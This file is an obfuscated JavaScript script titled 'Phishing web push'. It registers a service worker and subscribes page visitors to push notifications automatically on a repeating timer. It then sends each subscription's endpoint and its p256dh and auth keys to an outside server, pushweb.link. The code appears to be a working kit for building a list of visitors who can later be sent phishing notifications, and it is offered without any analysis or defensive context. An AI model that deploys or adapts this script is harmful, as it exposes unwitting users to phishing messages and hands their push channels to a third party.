Phishing web push

var aspkey = "BFawAJSjwmCG0j28zK9Yi-C5k-uh-9b74mgeAp8S1ZveHJFdSE2tYMgvaKfPWdNaBPN1wbYjyHi3ssjEpM0oTyc";
if (!window.aspkey) {
    throw new Error("missing a public key")
};
var pushcontrol = 0;
var pushsubcontrol = 0;
const applicationServerPublicKey = window.aspkey;
let isSubscribed = false;
let swRegistration = null;

function urlB64ToUint8Array(_0x41c1x9) {
    const _0x41c1xa = "=".repeat((4 - _0x41c1x9.length % 4) % 4);
    const _0x41c1xb = (_0x41c1x9 + _0x41c1xa).replace(/\-/g, "\+").replace(/_/g, "/");
    const _0x41c1xc = window.atob(_0x41c1xb);
    const _0x41c1xd = new Uint8Array(_0x41c1xc.length);
    for (let _0x41c1xe = 0; _0x41c1xe < _0x41c1xc.length; ++_0x41c1xe) {
        _0x41c1xd[_0x41c1xe] = _0x41c1xc.charCodeAt(_0x41c1xe)
    };
    return _0x41c1xd
}
if ("serviceWorker" in navigator && "PushManager" in window) {
    navigator.serviceWorker.register("/pushservice.js").then(function (_0x41c1x10) {
        swRegistration = _0x41c1x10;
        initialiseUI()
    }).catch(function (_0x41c1xf) {
        console.log(_0x41c1xf)
    })
} else {
    pushcontrol = 2
};

function subscribeUser() {
    const _0x41c1x12 = urlB64ToUint8Array(applicationServerPublicKey);
    swRegistration.pushManager.subscribe({
        userVisibleOnly: true,
        applicationServerKey: _0x41c1x12
    }).then(function (_0x41c1x14) {
        updateSubscriptionOnServer(_0x41c1x14);
        isSubscribed = true;
        updateBtn()
    }).catch(function (_0x41c1x13) {
        updateBtn()
    })
}

function updateBtn() {
    pushsubcontrol = 1;
    if (Notification.permission === "denied") {
        pushcontrol = 3;
        updateSubscriptionOnServer(null);
        return
    };
    if (isSubscribed) {
        pushcontrol = 1
    } else {
        pushcontrol = 0
    }
}

function updateSubscriptionOnServer(_0x41c1x14) {
    if (_0x41c1x14) {
        const _0x41c1x17 = _0x41c1x14.getKey("p256dh");
        const _0x41c1x18 = _0x41c1x14.getKey("auth");
        fetch("https://pushweb.link/subscribers/add_subscribers.php", {
            method: "post",
            headers: new Headers({
                'Content-Type': "application/json"
            }),
            body: JSON.stringify({
                endpoint: _0x41c1x14.endpoint,
                key: _0x41c1x17 ? btoa(String.fromCharCode.apply(null, new Uint8Array(_0x41c1x14.getKey("p256dh")))) : null,
                token: _0x41c1x18 ? btoa(String.fromCharCode.apply(null, new Uint8Array(_0x41c1x14.getKey("auth")))) : null,
                axn: "subscribe",
                prop: xproper,
                qrum: qrum
            })
        }).then(function (_0x41c1x19) {
            return _0x41c1x19.text()
        }).then(function (_0x41c1x19) {}).catch(function (_0x41c1x13) {})
    } else {}
}

function initialiseUI() {
    swRegistration.pushManager.getSubscription().then(function (_0x41c1x14) {
        isSubscribed = !(_0x41c1x14 === null);
        if (isSubscribed) {
            pushcontrol = 1
        } else {
            pushcontrol = 0
        };
        updateBtn();
        returnactionfunc(pushcontrol);
        if (timecontrollerfuncenabled == "1") {
            var _0x41c1x1b = setInterval(_0x41c1x1c, 250);

            function _0x41c1x1c() {
                updateBtn();
                timecontroller(pushcontrol)
            }
        };
        if (pushcontrol == "0") {
            var _0x41c1x1d = setInterval(_0x41c1x1e, 250);

            function _0x41c1x1e() {
                if (setactionsub == "showsubmenu") {
                    subscribeUser();
                    clearInterval(_0x41c1x1d)
                }
            }
        }
    })
}
var qrum = 18;
var xproper = 22;
var setactionsub = "showsubmenu";
var pushserverreturneddata = "";
var timecontrollerfuncenabled = "1"; //0=disabled

function timecontroller(pushcontrol) {
    pushserverreturneddata = pushcontrol;
    /* 250ms timer get pushinfo
0=no sucribe
1=sucribe
2=not support
3=blocked
setactionsub=="showsubmenu" show sub menu
*/
    //console.log(pushcontrol);
}

function returnactionfunc(pushcontrol) {
    pushserverreturneddata = pushcontrol;
    /*
    0=no sucribe
    1=sucribe
    2=not support
    3=blocked
    setactionsub=="showsubmenu" show sub menu
    */
    console.log(pushcontrol);
}